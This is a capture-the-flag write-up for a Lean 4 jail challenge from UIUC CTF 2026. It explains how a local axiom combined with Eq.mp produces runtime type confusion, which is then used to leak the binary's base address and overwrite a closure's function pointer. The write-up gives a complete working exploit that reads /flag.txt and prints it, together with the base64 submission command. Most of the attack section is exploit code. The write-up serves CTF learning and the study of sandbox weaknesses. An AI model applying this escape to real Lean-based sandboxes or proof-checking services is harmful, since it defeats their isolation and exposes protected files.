Proof — UIUC CTF 2026

Description

State and prove the Riemann hypothesis in Lean.

Submit your proof as a single base64-encoded line, then press Enter.

The challenge provides a Lean 4 jail (v4.26.0-rc2) that accepts a base64-encoded Lean source file. The submission must export a safe declaration entry : Nat → Nat from module Submission. A post-compilation checker (Check.lean) recursively traces all dependencies and rejects anything rooted at IO, EIO, BaseIO, ST, EST, System, Task, Runtime, or Lean, plus specific names unsafeCast, withPtrEq, sorryAx. Unsafe/partial declarations and compiler attributes (extern, implemented_by, export, init, csimp) are also rejected. A regex prefilter blocks source-level keywords like #eval, run_cmd, unsafe, partial, opaque, sorry, macro, elab, etc.

The generated C is compiled with leanc -O2 (statically linking the Lean runtime) and executed as user runner who has group read access to /flag.txt. The service returns stdout.

Analysis

Checker blind spot: local axioms

The checker validates declaration safety and traces dependencies through kernel expression trees but does not reject local axiom declarations. An axiom like:

axiom allEq (a b : Type) : a = b

declares a proof that any two types are equal. While logically inconsistent, this is perfectly valid Lean syntax that passes both the regex prefilter and the dependency checker — allEq has no dependencies on forbidden roots.

Runtime type confusion via Eq.mp

Eq.mp (modus ponens on equality proofs) is the standard way to transport values between equal types. At compile time, LCNF erases proof arguments, so Eq.mp proof value compiles to a no-op identity cast. At runtime, the Lean object system uses tagged unions — scalars and boxed objects share the same lean_object representation. Casting between incompatible types with Eq.mp and the allEq axiom produces runtime type confusion: the same bit pattern is reinterpreted as a different type.

Key discovery: casting (Nat → Nat) to UInt64 reads the closure's m_fun field (the function pointer at offset +8), producing a leaked PIE text address.

Closure layout and reset/reuse

Lean closures have header tag 245 with layout: [header(8)] [m_fun(8)] [m_arity(2)] [m_fixed(2)] [padding(4)] [captured args...]. A constructor structure with matching scalar fields (UInt64, UInt16, UInt16) has the same payload layout but header tag 0, making direct application fail.

The critical primitive: Lean's LCNF reset/reuse optimization. When a structure is destructured and reconstructed with modifications in a linear (rc=1) context, the compiler rewrites the object in place rather than allocating a new one. By casting a genuine closure to FakeClosure, pattern-matching to extract fields, and reconstructing with a new funPtr, the original closure is mutated in place — preserving its tag 245 header while replacing m_fun.

Static binary offsets

leanc statically links Init.a, libleanrt.a, and other Lean runtime archives. All Lean runtime functions exist in the final PIE binary at fixed offsets from the base. Key functions:

• l_IO_FS_readFile___boxed at offset +0x4f6710 — reads a file given (filename, maxBytes, world)
• lean_get_stdout at offset +0x62d370 — returns an already-open stdout IO.FS.Stream

These offsets were determined by reproducing the exact compilation in the challenge's Docker image.

Permission constraints

• /dev/stdout cannot be opened by user runner (permission denied)
• lean_get_stdout() returns a pre-opened IO.FS.Stream with working closure fields
• The IO.FS.Stream structure has putStr as field 4 — a closure that writes to stdout
• The jail feeds "C\n" * 4096 as stdin, which causes C assert() failures to continue rather than abort

Solution

Step 1: PIE base leak

Cast a known function (closure) to UInt64 to extract its m_fun field, then subtract the known offset:

axiom allEq (a b : Type) : a = b

def marker (n : Nat) : Nat := n + 1

def entry (n : Nat) : Nat :=
  let mAddr : UInt64 := Eq.mp (allEq (Nat → Nat) UInt64) marker
  let base := mAddr.toNat - 0x13ab80
  ...

Step 2: Closure m_fun rewrite primitive

A FakeClosure structure with matching scalar layout and a rewrite function that triggers reset/reuse:

structure FakeClosure where
  funPtr : UInt64
  arity  : UInt16
  fixed  : UInt16

def rewrite (x : FakeClosure) (p : UInt64) : FakeClosure :=
  match x with | ⟨_, a, b⟩ => ⟨p, a, b⟩

Step 3: Read /flag.txt

Create a 3-argument closure sHelper "/flag.txt" (n + 1000000000) that captures a String and a Nat. Rewrite its m_fun to l_IO_FS_readFile___boxed and call it with a dummy world argument. The captured arguments become the filename and maxBytes parameters:

def sHelper (a : String) (b : Nat) (c : Nat) : Nat := a.utf8ByteSize + b + c

let rf : Nat → Nat := sHelper "/flag.txt" (n + 1000000000)
let rf' := Eq.mp (allEq FakeClosure (Nat → Nat))
  (rewrite (Eq.mp (allEq (Nat → Nat) FakeClosure) rf) (UInt64.ofNat (base + 0x4f6710)))
let r1 : IORes := Eq.mp (allEq Nat IORes) (rf' 0)
let flagNat := r1.val

Step 4: Get stdout and print

Redirect another closure to lean_get_stdout(), extract the putStr closure from the returned Stream structure, and call it with the flag string:

def nHelper (a : Nat) (b : Nat) (c : Nat) : Nat := a + b + c

let gs : Nat → Nat := nHelper (n + 42) (n + 0)
let gs' := Eq.mp (allEq FakeClosure (Nat → Nat))
  (rewrite (Eq.mp (allEq (Nat → Nat) FakeClosure) gs) (UInt64.ofNat (base + 0x62d370)))
let stream := gs' 0
let s5 : Stream5 := Eq.mp (allEq Nat Stream5) stream
let putStrFn := s5.putStr
let printResult := putStrFn flagNat (n + 0)

Complete exploit

axiom allEq (a b : Type) : a = b

structure FakeClosure where
  funPtr : UInt64
  arity  : UInt16
  fixed  : UInt16

def rewrite (x : FakeClosure) (p : UInt64) : FakeClosure :=
  match x with | ⟨_, a, b⟩ => ⟨p, a, b⟩

def marker (n : Nat) : Nat := n + 1
def sHelper (a : String) (b : Nat) (c : Nat) : Nat := a.utf8ByteSize + b + c
def nHelper (a : Nat) (b : Nat) (c : Nat) : Nat := a + b + c

structure IORes where
  val : Nat
  st  : Nat

structure Stream5 where
  f0 : Nat
  f1 : Nat
  f2 : Nat
  f3 : Nat
  putStr : Nat → Nat → Nat

def entry (n : Nat) : Nat :=
  let mAddr : UInt64 := Eq.mp (allEq (Nat → Nat) UInt64) marker
  let base := mAddr.toNat - 0x13ab80

  -- 1. Read /flag.txt via redirected closure
  let rf : Nat → Nat := sHelper "/flag.txt" (n + 1000000000)
  let rf' := Eq.mp (allEq FakeClosure (Nat → Nat))
    (rewrite (Eq.mp (allEq (Nat → Nat) FakeClosure) rf) (UInt64.ofNat (base + 0x4f6710)))
  let r1 : IORes := Eq.mp (allEq Nat IORes) (rf' 0)
  let flagNat := r1.val
  let flagStr : String := Eq.mp (allEq Nat String) flagNat

  -- 2. Get stdout stream via redirected closure
  let gs : Nat → Nat := nHelper (n + 42) (n + 0)
  let gs' := Eq.mp (allEq FakeClosure (Nat → Nat))
    (rewrite (Eq.mp (allEq (Nat → Nat) FakeClosure) gs) (UInt64.ofNat (base + 0x62d370)))
  let stream := gs' 0

  -- 3. Extract putStr and print the flag
  let s5 : Stream5 := Eq.mp (allEq Nat Stream5) stream
  let putStrFn := s5.putStr
  let printResult := putStrFn flagNat (n + 0)

  flagStr.utf8ByteSize + printResult

Submission:

(base64 -w0 exploit_stdout.lean; echo) | ncat --ssl proof.chal.uiuc.tf 1337